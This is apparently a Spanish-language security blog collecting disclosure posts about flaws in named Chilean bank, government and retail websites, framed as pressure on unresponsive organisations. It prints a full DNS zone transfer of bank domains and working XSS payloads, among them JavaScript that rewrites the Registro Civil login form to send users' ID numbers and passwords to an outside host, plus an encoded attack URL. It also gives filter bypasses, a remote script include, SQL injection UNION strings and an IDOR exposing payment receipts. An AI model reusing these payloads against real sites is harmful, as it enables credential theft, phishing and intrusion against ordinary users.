Los bancos no solo tienen vulnerabilidades web, tambien tienen servicios que se encuentran mal configurados, como es el caso de Scotiabank, que tiene los servicios DNS configurados de forma tal que permiten a cualquier persona poder actuar como servidor secundario y transferir las zonas.
El DNS que tiene los problemas es el secundario, ns2.scotiabank.cl. Si intentamos transferir las zonas desde el secundario, obtenemos los subdominios asociados a scotiabank.cl:

scotiabank.cl.        3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400
scotiabank.cl.        3600    IN    NS    ns2.scotiabank.cl.
scotiabank.cl.        3600    IN    NS    fw-ext.scotiabank.cl.
scotiabank.cl.        3600    IN    A    200.14.209.97
scotiabank.cl.        3600    IN    MX    10 smexstsip11.scotiabank.com.mx.
scotiabank.cl.        3600    IN    MX    10 smexstsip21.scotiabank.com.mx.
scotiabank.cl.        3600    IN    MX    10 smexstsip31.scotiabank.com.mx.
scotiabank.cl.        3600    IN    TXT    ”v=spf1 a mx ip4:168.165.13.0/24 include:spf.masterbase.com ~all”
alteon1.scotiabank.cl.    3600    IN    A    200.14.209.101
alteon2.scotiabank.cl.    3600    IN    A    200.55.208.27
corporate.scotiabank.cl. 3600    IN    CNAME    sdol.mastercard.com.
fw-ext.scotiabank.cl.    3600    IN    A    200.14.209.97
gslb.scotiabank.cl.    600    IN    NS    alteon1.scotiabank.cl.
gslb.scotiabank.cl.    600    IN    NS    alteon2.scotiabank.cl.
ns2.scotiabank.cl.    3600    IN    A    200.55.208.26
smexstsip11.scotiabank.cl. 600    IN    A    168.165.13.70
smexstsip21.scotiabank.cl. 600    IN    A    168.165.13.73
smexstsip31.scotiabank.cl. 600    IN    A    168.165.13.76
www.scotiabank.cl.    600    IN    CNAME    www.gslb.scotiabank.cl.
scotiabank.cl.        3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400
;; Query time: 44 msec

Y todos los dominios que esten usando a ns2.scotiabank.cl como dns, tambien seran vulnerables a este tipo de ataque, por ejemplo, el Banco del Desarrollo:

bdd.cl.            3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400
bdd.cl.            3600    IN    NS    ns2.scotiabank.cl.
bdd.cl.            3600    IN    NS    fw-ext.scotiabank.cl.
bdd.cl.            3600    IN    A    200.14.209.97
bdd.cl.            3600    IN    MX    10 smexstsip11.scotiabank.com.mx.
bdd.cl.            3600    IN    MX    10 smexstsip21.scotiabank.com.mx.
bdd.cl.            3600    IN    MX    10 smexstsip31.scotiabank.com.mx.
bdd.cl.            3600    IN    TXT    ”v=spf1 ip4:168.165.13.0/24 ~all”
alteon1.bdd.cl.        3600    IN    A    200.14.209.101
alteon2.bdd.cl.        3600    IN    A    200.55.208.27
fw-ext.bdd.cl.        3600    IN    A    200.14.209.97
gslb.bdd.cl.        600    IN    NS    alteon1.bdd.cl.
gslb.bdd.cl.        600    IN    NS    alteon2.bdd.cl.
ns2.bdd.cl.        3600    IN    A    200.55.208.26
smexstsip11.bdd.cl.    600    IN    A    168.165.13.70
smexstsip21.bdd.cl.    600    IN    A    168.165.13.73
smexstsip31.bdd.cl.    600    IN    A    168.165.13.76
www.bdd.cl.        300    IN    CNAME    www.gslb.bdd.cl.
bdd.cl.            3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400
;; Query time: 37 msec

Como es de costumbre, los bancos no tienen procedimientos ni forma para contactar a los responsables.

Hace un par de semanas fueron reportadas en Secureless 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior, quienes ellos mismos se acercaron a mi luego de la charla de la Computer Security Conference 8.8 para canalizar mediante ellos las vulnerabilidades de sitios web del gobierno que sean encontradas. El CSIRT del Interior ha respondido muy bien, pero al parecer ni si quiera una “entidad reguladora” es capaz de hacer entender a los responsables y encargados.

Las vulnerabilidades de este tipo no son consideradas un riesgo y no se le da la urgencia que se necesita. Esta vulnerabilidad es critica ya que se encuentra en la sección para que los usuarios inicien sesión y permite el robo de credenciales y suplantación de identidad.

Este fallo afecta a la página de autentificación de certificados en línea

En el cual es posible modificar la función el botón “Ingresar”, para que nos envíe la información de identificación a un sitio externo.

La víctima lo único que tiene que hacer es ingresar a un link malicioso que el atacante le envie por correo o por algún otro medio. Esta vulnerabilidad se aprovecha de la confianza que tiene el usuario sobre el sitio web, ya que usa el dominio original y real del Registro Civil, incluso su certificado de “seguridad” SSL. La URL maliciosa tiene la forma

https://www.registrocivil.cl/XXXXXXXXXXXXXXXXXXXXXXXXXX

Para aprovecharse de esta vulnerabilidad lo único que hay que hacer es envenenar la variable “pag” y sobreescribir la función javascript “ingresar()”.

En primera instancia, modificaremos la función para que nos muestre el contenido de cada campo del formulario de autentificación

El nombre de usuario/rut
https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E

La password
https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E

Al ingresar en estos dos links, veran la pantalla de inicio de sesión normal, sin modificaciones. Ingresen sus datos y presionen el botón “Ingresar”, veran como aparece un mensaje con los datos que ustedes han ingresado. Esta prueba de concepto es una simple alerta que muestra los datos que ingresaste en el formulario.
La segunda prueba de concepto será generar una alerta en el navegador donde nos muestre el usuario y la password juntos
https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc’; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert(‘rut: ‘ %2b _a %2b ‘ password: ‘ %2b _b); }</script><script>

Si ingresamos nuestro datos de acceso y pinchamos en ingresar, podemos ver que nuestra información aparecerá en la alerta del navegador

Una vez realizada esta prueba de concepto, ya podemos enviar esa información a un sitio externo, donde el atacante podría almacenar la información del usuario al momento de iniciar sesión.

Modificaremos la función “ingresar()” de forma tal que nos envie la información del formulario al dominio zerial.org (de pruebas), usando el siguiente código javascript:

pocpoc';
}}
function ingresar(){
        document.forms[0].action = 'http://zerial.org/PoC_RegCivil';
        document.forms[0].method = 'GET';
        document.forms[0].submit();
}

Se lo inyectamos a la URL vulnerable:

var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E

Al ingresar tus datos e iniciar sesión, tu RUT y password será enviado a mi servidor. En el servidor, la información llega de la siguiente forma:

x.x.x.x – - [xx/Nov/2011:xx:xx:xx -0300] “GET /PoC_RegCivil?tipoAyuda=&runOI=1544345&dvOI=&passwordOI=prueba HTTP/1.1″ 200 1529 “-”"

Podemos ver donde dice runOI y passwordOI, que aparecen los datos que ingresamos en el formulario de autentificación en el sitio web del Registro Civil. Ya tenemos los datos del usuario

RUT: 1544345
Password: prueba

Finalmente, la URL maliciosa tendría la forma:

https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45

Es suficiente con enviar ese link a usuarios para que los datos de autentificación sean enviados a un servidor externo.

ACTUALIZADO (3 de Diciembre): Luego de insistir via twitter y enviando este post al CSIRT del Ministerio del Interior, Registro Civil ha corregido la vulnerabilidad.

Como siempre, hay que hacer publicas las fallas para que le den solucion.

El Listado de Directorios en si no es una vulnerabilidad o fallo crítico, todo depende de que tipo de información nos divulgue.

El servidor del Banco Corpbanca permite listar directorios entregando información sensible sobre los archivos del sistema, por ejemplo permite acceder a archivos como “ComprobanteCargoAbono_Personas.aspx.20081217“, un respaldo del año 2008 del archivo ComprobanteCargoAbono_Personas.aspx que, antes que  limitaran el acceso, era posible ver el código fuente de ese y de otros archivos.

En el caso de un banco es peligroso porque permite al atacante conocer de mejor forma el sistema accediendo a toda la estructura de directorios y archivos. Tambien nos damos cuenta que hay scripts de “prueba” que nos pueden entregar información sensible

Este problema en la configuración de los servidores de Corpbanca ya ha sido reportado y se está solucionando.

Despues de haber dado la presentación de Secureless en la CSC 8.8, se me acercó el encargado de la seguridad de Corpbanca, entregandome su contacto y agradeciendo cualquier reporte que pudiese enviarle, hasta ahora he tenido la amabilidad de estar reportandole algunas fallas y el por su lado gestiona que se solucionen.

El sitio web del Banco Central de Chile es vulnerable a ataques Cross-Site Scripting y, posiblemente, un SQL Injection. Son muchos los sitios de bancos que son vulnerables a este tipo de ataques, pero muy pocos quienes solucionan los errores luego de reportarlos, es por eso que se toma la decisión de hacer un disclosure sobre las vulnerabilidades para denunciar este tipo de hechos.

El sitio web del Banco Central pareciera no tener ningun tipo de validación de los parametros de entrada que se pasan mediante formularios o mediante URL, exponiendo a los usuarios  y al servidor a distintos tipos de ataques.
El XSS que encontré, está en el archvo rim/default.asp en el subdominio si2.bcentral.cl.

Como prueba de concepto, incrustaré un ‘iframe’ con el sitio web de Google dentro del sitio del Banco Central

Perfectamente, el atacante podría incrustar un sitio malicioso con la intención de robar la identidad del banco y aprovecharse de la confianza que el usuario tiene sobre el sitio web, incluso usando el sitio “seguro“.

Tambien el atacante podria, mediante esta vulnerabilidad, modificar el formulario de inicio de sesión que aparece en la imagen, para robar los datos de los usuarios y enviar la información a terceros.

La vulnerabilidad SQL Injection se presentaba en los formularios que estaban en la sección “Base de datos economicos”, que al parecer ya ha sido corregido.

Hace 7 días aproximadamente reporté la vulnerabilidad y como es de costumbre no otbuve ninguna respuesta, pero misteriosamente estan trabajando en estos momentos en corregir el sql injection.

Con el fin de mejorar la interacción del usuario con algun sistema, los diseñadores y desarrolladores adoptan distintas técnicas de usabilidad para hacerle el trabajo más fácil al usuario, el problema es cuando se prioriza la usabilidad por sobre la seguridad. Para muchos podría parecer que la gente que desarrolla los sistemas piensan que los usuarios son unos tontos unos niños ingenuos, y que por no hacerlos pensar “donde hacer click” le dan todo en bandeja pasando por alto las normas de seguridad. Es por esto que escribiré sobre como la usabilidad pasa por encima de la seguridad.

Como ejemplo, tomaré el caso del Banco Santander y analizaré como una función para hacerle el trabajo más fácil al usuario puede atentar contra la seguridad del mismo usuario. Para muchos podría ser algo básico, pero si lo ven como si fueran un usuario “normal“, se darán cuenta que realmente es un riesgo y que al usuario le podría pasar perfectamente.

Esta es la pantalla de inicio de sesión que vemos al ingresar a www.santander.cl.

Lo normal sería que al ingresar al portal del banco, el usuario hiciera click en el campo “rut” para ingresar su número de identificación, luego ingresara el password y finalmente presione enviar. Pero, ¿cual es la mejora de usabilidad que implementó Santander?

Cuando ingresamos al sitio web, el usuario sin situarse sobre el formulario de inicio de sesión, el cursor ya está en el formulario, el usuario lo único que debe hacer es ingresar su rut.

El problema es que esa función donde se situa el cursor sobre el formulario se ejecuta al terminar de cargar el sitio, si el usuario ingresa su número de identidad y luego comienza a escribir el password, cuando el sitio termine de cargar el puntero será cambiado al campo “rut”, que no está protegido por “*” y queda registrado en el historial, cuando el usuario sin darse cuenta presione “Iniciar sesión”, el sistema le enviará un mensaje de que la password o usuario son incorrectos, lo único que hará el usuario es volver a introducir los valores e iniciar sesión sin problemas, sin darse cuenta que su password pudo haber sido almacenada en el historial.

Es un poco rebuscado el problema, pero existe. Me ha pasado que mi internet va lento o que el servidor del banco responde lentísimo, entonces ingreso al portal y hago todo muy rapido, ingreso mi RUT y cuando presiono enviar me doi cuenta que la password la escribí en el campo desprotegido “rut”.

¿Qué es mejor, que el usuario tenga que mover un poco el mouse y hacer un par de clicks más, o dejar abierta la remota posibilidad que su password quede almacenada en un historial sin percatarse?

Yo creo que 1 de cada 100 personas podría caer en este error, yo mismo he leído y escuchado a algunas personas quejarse por esto mismo, al menos se que no soy el único que lo piensa

Así es, el portal chileno de pagos en línea más seguro nuevamente es vulnerable a XSS. Esta vez se trata de la página de registro de usuarios, modificando el valor de la variable “Rut” es posible inyectar código javascript y poner en riesgo al usuario.

El sitio web de Servipag se ha caracterizado ultimamente por tener una serie de vulnerabilidades criticas que afectan al servidor donde se encuentra el sitio web y tambien a los usuarios, poniendo en riesgo información sensible sobre sus clientes. Según una declaración de Servipag mediante su twitter, los “XSS visual” no afectan al usuario:

Como a ellos no les preocupan los XSS, publicaré con detalles la vulnerabilidad.

La vulnerabilidad se encuentra especificamente en la URL http://www.servipag.com/browse.asp?pagina=web/registro1.htm. El sitio autocompleta el campo “rut” según el valor pasado por GET mediante la variable “Rut”, por ejemplo, si ingresamos a http://www.servipag.com/browse.asp?pagina=web/registro1.htm&Rut=1313&BuscaDatos=2 veremos que nos completa el rut de la siguiente forma

Y si vemos el código fuente, nos muestra:

Por lo tanto, si en lugar de “Rut=1313″ pusieramos una rutina javascript, debería ejecutarse al momento de llamar a la función “Reset()”, sin embargo, el desarrollador de servipag puso un estúpido inutil filtro que es demasiado fácil saltarse. Lo que haremos es terminar la función y hacer que se ejecute el código que nosotros queramos al momento de cargar la página, para esto añadimos ‘; al principio del valor que le daremos a Rut y comentaremos todo lo que venga despues de nuestra inyección, para lograr que se ejecute sin errores el javascript.

La sintáxis que usaremos para explotar la vulnerabilidad será 1212′;}/**/window.stop();confirm(/Servipag_XSS_10_de_Septiembre_19:24?/);/* la cual nos generará un código fuente similar a:

Provocando el XSS que estabamos buscando. De esta forma es posible burlar los filtros puestos por los desarrolladores del portal de pagos más seguro (ironía), pudiendo redireccionar al usuario a un sitio malicioso, robar las cookies, etc.

Finalmente, la URL vulnerable es http://www.servipag.com/browse.asp?pagina=web/registro1.htm&Rut=1212′;}/**/window.stop();confirm(/Servipag_XSS?/);/*=’&BuscaDatos=2.

ACTUALIZADO (12 DE SEPT 14:08hrs)

Como es de costumbre con esta gente de Servipag, el problema ha sido solucionado minutos luego de haberlo publicado, sin embargo, no son capaces de responder los correos donde se envian reportes de estas vulnerabilidades.

Pasa el tiempo y, luego de haber reportado las vulnerabilidades que afectaban a Servipag, siguen apareciendo nuevas vulnerabilidades que afectan al portal de pagos. Esta vez se trata de 2 nuevas vulnerabilidades, una reportada en Secureless, que atenta contra la privacidad de los usuarios, permitiendo que cualquier persona pueda acceder a los comprobantes de pago de cada cliente, simplemente moficiando una variable en la URL, la segunda se trata de un XSS en el mismo sitio del comprobante de pago.

Servipag continua diciendo que sus politicas y tecnologías de seguridad son en base a altos estandares nacionales e internacionales y segun ellos, las vulnerabilidades que existen no ponen en riesgo la informacion de los usuarios, ya que todo el proceso de compra/pago y transaccion no se hacen directamente en los servidores de ellos … PERO, sorpresa, ellos guardan un comprobante de pago de forma local, pudiendo acceder a TODOS los comprobantes de pagos de quienes usen el servicio, sean o no usuarios registrados.

Que tipo de información podemos ver aqui?

1. Se refiere al “cliente” como “Usuario”, lo mas probable que no esté registrado en servipag, de lo contrario mostraría el nombre.
2. El banco mediante el cual se hace el pago.
3. Empresa o servicio que se paga.
4. Monto, fecha y ID del pago realizado.

Con esta información es posible relacionar a personas con un banco especifico y ademas con el consumo de un servicio, en una fecha especifica. Esta información podría ser útil para enviarle una trampa al usuario, un correo fake (phishing) con datos reales como su nombre, banco al que pertenece, servicios que consume, fechas en las que hace el pago … en fin, una serie de información que nadie tendría que saber.

Si jugamos modificando el Id del comprobante de pago, podemos encontrar datos reales, como es el caso del 68012208:

Una persona, cuyo  nombre aparece en el comprobante, que tiene cuenta en el banco estado y es cliente de Movistar.

No es esto poner en riesgo los datos de los usuarios?

La otra vulnerabilidad encontrada, se trata de un XSS que afecta a este mismo sitio donde se muestra el comprobante de pago. Nuevamente, es posible saltarse los filtros -parecen de juguete- que los desarrolladores pusieron, pudiendo inyectar código Javascript o HTML.

Cual es el potencial riesgo de estas dos vulnerabilidades juntas?

Es simple, solo con un poco de imaginación podemos crear una pagina de pago falsa y usar los datos de los clientes obtenidos desde su comprobante de pagos para enviar un correo malicioso insitando a que el usuario caiga en una trampa, para poder robarle información privada como usuarios, claves, etc.

Nuevamente, Servipag NO está cumpliendo con entregar un servicio seguro a sus clientes.

ACTUALIZADO Al parecer Servipag ya solucionó el problema del comprobante, ya que al intentar ver un comprobante de pago muestra un mensaje que la información no está disponible. Esperemos que no sea una solución trucha. El XSS siguen existiendo:

Las vulnerabilidades fueron reportadas el dia sabado, pero no respondieron .. Intentaron solucionar los problemas silenciosamente, pero solo pudieron solucionar uno.

ACTUALIZADO (6 de Septiembre)
Luego de semanas de haberlo reportado por correo y sin tener respuesta, me decidí a publicar la vulnerabilidad XSS para “obligarlos” a corregirla. Luego de publicarla, no pasaron ni 20 minitos y fue solucionada:

http://www.secureless.org/vulnerability/2034/

Según mi opinión, un ataque de denegación de servicio a sitios del gobierno no tiene ningun sentido y no hacen daño ni provocan preocupación, creo que los ataques deberian realizarse hacia “servicios” y no a “sitios”, donde se vean afectados los servicios que los ciudadanos usan y que el gobierno se sienta incapaz de brindarselos. Esto sucede porque no se hace un estudio sobre la víctima, para darle donde más le duele, se puede llamar “ataque organizado” porque se acuerdan una hora y todos presionan el botón ese dia a esa hora, pero no hay una real coordinación donde se investigue un objetivo donde realmente llame la atención, y mientras siga siendo así, seguiran siendo ataques simbólicos.

El gobierno chileno tiene muchas brechas de seguridad informática y de la información, es por esto que me hago la pregunta, ¿Está preparado el gobierno de Chile para recibir un ataque de robo de información?, la respuesta clara es: NO. No está preparado el gobierno, ni las personas, ni los encargados, no existen políticas (y si existen no se cumplen), encargan su seguridad a un simple firewall que solo les sirve para que sus empleados no puedan ingresar a ver youtube. Obviamente no puedo decir que “todas las entidades del gobierno tienen fallos de seguridad”, pero me refiero al gobierno en general.

Desde hace un tiempo que he estado investigando las distintas vulnerabilidades web en sitios del gobierno, intentando reportar la mayoría. En algunos casos no responden, en otros casos no hay forma de contactarlos pero en el mejor de los casos, recibo respuestas y unas satisfactorias gracias.

El gobierno chileno es muy vulnerable a la fuga y robo de información (data leak, data theft).

Fuga de Información o Data Leak
Basta con preparar un dork lo suficientemente bueno que nos permita encontrar URLs indexadas por algún buscador donde podamos acceder a información sensible. Es muy típico acceder a respaldos o dumps de bases de datos, a planillas de calculo o archivos de texto que no deberían ser publicos. Por otro lado tambien está el problema del control de acceso, saber quien y a qué se accedió a los sistemas de manejo de información.

Robo de Información o Data Theft
Asimismo, tambien es vulnerable al robo de información o Data Theft, se han preguntado que tan fácil es ingresar a una organización del gobierno y encontrar información sensible para poder llevarnos? Los mismos empleados publicos tienen la capacidad de insertar un pendrive en sus computadores de trabajo y llevarse información a casa, muchas veces lo hacen inconcientemente, sin saber o sin darse cuenta que estan exponiendo la seguridad de la institución.
Se han preguntado si la información que se da de baja realmente se destruye?
- Qué información podemos encontrar en los basureros diariamente? Sería bueno hacer ese ejercicio …
- Si a una persona se le pierde el telefono movil o el portatil de la institución, qué información queda expuesta?
- Cuanta información sensible manejan las personas sin saber que se tratan de datos sensibles?

Servidores y Servicios
Si hablamos de la seguridad a nivel de servidores y servicios, de 1 a 10 yo pienso que el nivel de seguridad no supera el 5 en la mayoría de los casos: instalaciones y configuraciones por defecto, versiones de sistema operativo antigua, versiones de servicios antiguas (ftp, ssh, http, etc), passwords débiles y genéricas, poca seguridad en cuanto a permisos y propietarios de archivos (se encuentran muchos permisos 777 y como propietario el usuario apache) y por último, culpando nuevamente al usuario, el hecho de que un usuario le entregue su password a otras personas.

Vulnerabilidades Web
Pueden tener el firewall más caro, contratar a la empresa de seguridad con más prestigio, pero cuando una web es vulnerable a ataques que nos permitan acceder al servidor de alguna forma, es dificil de detectar. Muchos sitios web del gobieron son vulnerables a distintos tipos de ataques, desde algunos tan sencillos como los que nos permiten obtener el full path, hasta unas mas complejas que nos permiten, mediante distintas técnicas de ataque, obtener el control del servidor. Las vulnerabilidades tipicas son las inyecciones de SQL (sql injection), XSS (en algunos casos XSS permanentes), Local/Remote File Include, Directory Traversal y, para rematar, Arbitrary File Upload. Hay veces que saltarse los filtros es muy facil, pudiendo combinar distintas vulnerabilidades como “Full Path Disclosure + Arbitrary File Upload + Directory Traversal” para lograr obtener una shell en el servidor. Muchos sistemas carecen de validaciones efectivas para sanitizar o filtrar los parametros que se pasan mediante GET o POST.

El caso del Ministerio del Interior
Hace unas semanas reporté una vulnerabilidad de XSS Permanente en el sitio web del Ministerio del Interior. En algunos casos un XSS podría parecer inofensivo, pero en este caso en particular al tratarse de un XSS permanente, si alguien lo hubiese explotado, perfectamente podria haber accedido a información sensible del ministerio, ya que se encontraba en un sistema donde los usuarios realizan preguntas o peticiones al ministerio, luego las preguntas son recibidas por gente que trabaja en el ministerio mediante una interfáz web. Si inyectabamos un codigo html/javascript en nuestra “pregunta”, se guardaba sin filtrar ni parsear en la base de datos, luego cuando el usuario encargado ingresaba vía web al sistema de administración, el código javascript se le ejecutaba en el navegador, exponiendolo a un ataque que podría haberle robado la sesión o más datos de su computador, enviandolos a un servidor remoto.
Esta vulnerabilidad fue corregida despues de haberla reportada.

El caso de la Dirección General de Movilicación Nacional (DGMN)
La DGMN expone desde el 2007 la base de datos del registro del servicio militar, dejando al descubierto los nombres de los que postularon y fueron llamados, juntos con sus RUT y más información sensible. La DGMN ha sido reportada mediante distintas vias y ninguna ha dado resultado, siguen sin solucionar el problema y hasta el día de hoy la base de datos está expuesta junto con otros datos más.

Si en Chile el grupo “Anonymous” estuviese conformado por hackers con los conocimientos y habilidades suficientes, estoy seguro que podrian poner en aprietos al gobierno.

La vulnerabilidad se encuentra en el archivo disco.php mediante la variable id. Es posible generar un error facilmente ingresando una comilla simple (‘):

Hasta el momento el “filtro” escapa el la comilla y anteponiendo un backslash (\), intentamos hacer el típico SQL Injection para obtener información sobre la base de datos usando ‘+or 1=+ union+select+database(),user()+–+ y obtenemos como resultado “Error select * from disco where id=3342\’ 1= (),() –”

Efectivamente el “filtro” está eliminando las palabras que ponemos y dejando sólo los caracteres que no son letras. Ahora, si intentamos inyectar un tag html como por ejemplo <em>prueba</em>, obtenemos Error select * from disco where id=3342<></>

Bien, ahora nos saltaremos los filtros que nos han puesto…

¿Piensas que es muy complicado?

Para saltarse las protecciones XSS y SQL Injection que nos han puesto, lo único que tenemos que hacer es escribir con mayúsculas.
Como prueba de concepto usaremos el siguiente link:

http://musica.cooperativa.cl/disco.php?id=3342<STRONG>HOLA! ESTOY ESCRIBIENDO CON MAYUSCULAS PARA SALTARME TU FILTRO!!</STRONG>

Mira lo que obtenemos:

Para realizar la típica prueba de concepto, usando la función alert() de JavaScript tendremos un problema, ya que al escribir “ALERT” (con mayúsculas), no encontrará ninguna función con ese nombre … Pero solucionar este problema es más fácil de lo que pensamos, pongamos el tag <SCRIPT> con el atributo SRC y apuntamos a una URL (con mayúsculas todo) el cual contenga el JavaScript que queramos que sea ejecutado, para este caso elaboré un script “POC.JS” que contiene “alert(‘Prueba de concepto XSS’)” (sì, con minúsculas), entonces llamamos al script de la siguiente forma:

<SCRIPT SRC=HTTP://ZERIAL.ORG/POC.JS></SCRIPT>

Y obtenemos lo siguiente:

Con esto, damos por hecho que logramos saltarnos el filtro anti XSS.

Para saltarnos el filtro SQL Injection, es de la misma forma, las sentencias SQL las debemos escribir con mayúsculas y listo, por ejemplo OR+1=0+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+–+, tenemos como resultado el error sql indicandonos exactamente lo que escribimos:

Ahora lo único que nos queda es empezar a jugar y encontrar la cantidad de columnas para poder extraer información de la base de datos.

Un ataque más sofisticado …

Este sitio corresponde a un lugar para descargar/comprar música “legalmente”, donde los usuarios (me imagino) se registran, introducen sus datos personales y van comprando musica mediante su tarjeta de credito (?), bien … Imaginemos un ataque un poco más elaborado, tenemos un SQL Injection donde podemos obtener la lista de todos los suscritos al sitio (correo, web, telefono y algún otro dato), luego elaboramos un sitio identico (pero falso) e invitamos a los usuarios a “Descargar musica a $1 (un peso)”, les pedimos que seleccionen las canciones que desean, inicien sesión y realicen la compra, el usuario encantado comprará muchas canciones pero cuando termine de enviar el último formulario misteriosamente aparece un mensaje que dice “Ha ocurrido un error inesperado. Intente mas tarde“, pero por debajo, el sitio envió todos sus datos personales a un sitio externo y ahora sus datos personales están en manos del atacante.

La vulnerabilidad fue reportada

Ambos sitios son vulnerables a ataques Cross-Site Scripting, permitiendo que un atacante use el sitio web de cada tienda para falsificar contenido y robar información o realizar estafas, aprovechandose de la confianza que el usuario tiene en el sitio web.
Los sitios afectados son: http://www.falabella.cl y http://www.ripley.cl incluyendo los sitios “seguros” (https) de cada uno.

Lo más irónico es que los sitios estan “certificados” por una empresa de seguridad que según ellos:

Verisign, líder mundial en certificación de comercio electrónico.

Aunque no me sorprende, luego de haber encontrado hace un tiempo un XSS en el propio sitio web de VeriSign.

Otra cosa que tambien les debería dar verguenza a estas empresas es prometer 100% de seguridad al usuario, como dice en sus propios sitios web:

Todo esto es una mentira.

Con las 2 imagenes que veran a continuación, no habrá mucho que explicar…

1.

2.

Ripley mostrando contenido de Falabella y Falabella mostrando contenido de Ripley, incluso usando sus sitios “super seguros” https.

Perfectamente el atacante podría suplantar el sitio web de cualquier de estas dos tiendas y, por ejemplo, en https://www.falabella.cl en lugar de mostrar el contenido de Ripley, mostrar un sitio web de Falabella FALSO, donde se invite al usuario a unas increíbles ofertas y que para acceder a ellas sólo debe iniciar sesión.

Ambos sitios prometen la máxima seguridad, dicen estar certificados, usar certificados SSL de un millón de bits que permiten una transacción segura, que los clientes le confien los datos, que ellos nunca pedirán datos por correo pero sin embargo … Pero qué pasa si te llega un correo con links verdaderos a httpS://www.falabella.com o httpS://www.ripley.cl  ? Si ellos mismos están diciendo que confien en ellos … Obviamente el usuario hará click y caerá en la trampa que las mismas tiendas le pusieron.

Este articulo no busca ser un analisis profundo de seguridad de las grandes tiendas, simplemente una prueba más de las mentiras falsas promesas que hacen los portales de internet que por obligación DEBEN ser seguros, pero no los son.

La vulnerabilidad fue reportada a Falabella el 21 de Julio y hasta el momento no he obtenido respuesta, en Ripley estoy esperando que me digan donde puedo enviar el reporte.

Analizaré las validaciones que hacen estos servicios, que tan vulnerables a ataques de robo de información, suplantación de identidad o que tan seguros son sus procesos, con el objetivo de dejar al descubierto la falta de seguridad y de validaciones al momento de hacer peticiones entre sitios, validacion de tokens de seguridad, uso de captchas para evitar a los bots, etc.

El análisis consiste en:

• Security Tokens: Revisar que los servicios que ofrecen cada sitio web cuenta con los tokens de seguridad en sus formularios, para evitar pecitiones POST o GET desde sitios externos.
• Captcha: Es el mecanismo más usado para determinar si quien está enviando la petición es un humano y no un bot. Ayuda contra los ataques de fuerza bruta.
• Passwords cifradas: Verificar que la password de los usuarios se almacene cifrada en la base de datos.
• Uso de certificados SSL en sus transacciones.

Y los resultados son alarmantes…

1. Servipag: Passwords sin cifrar, permite el tráfico sin http seguro, no usa tokens de seguridad en sus formularios, permite realizar peticiones desde sitios/formularios falsos, no usa captcha.
2. Sencillito: Al no requerir registro de usuario se libera de todas las criticas, este servicio es el mas sencillo y el más seguro
3. MisCuentas: Passwords cifrados, tiene un buen mecanismo de recuperacion de contraseña, las transacciones se realizan mediante HTTP seguro, no usa tokens de seguridad y tampoco utiliza captcha, permitiendo peticiones desde sitios/formularios falsos.

Para leer el detalle del análisis, continua leyendo el artículo.

Servipag

Security tokens

Existen dos formularios, uno para el inicio de sesión y otro para el pago de cuentas.
El primero,

No cuenta con ningun tipo de seguridad, es un formulario común y corriente.

<form action="http://servipag.cl/Portal/Account/LogOn" method="post" name="formCliente">
<input name="prsn_id" value="" type="hidden" />
<input name="accs_pin" value="" type="hidden" />
<input name="rut_2" value="" type="hidden" />
<input name="rut_1" value="" type="hidden" />
<input name="clave_1" value="" type="hidden" />
<input name="accion" value="login" type="hidden" />
<input class="textInput2" id="Rut" maxlength="12" name="Rut" onblur="javascript:formatear3_menu(document.formCliente);" onfocus="javascript:formatear4_menu(document.formCliente);" onkeypress="javascript:return solorut_menu(event);" size="12" type="text" value="" tabindex="1" />
<input class="textInput2" id="Password" maxlength="12" name="Password" onkeypress="PressEnter_menu(event);" size="12" type="password" value="" tabindex="2" />
</form>

El segundo,

Tambien es un formulario común y corriente.

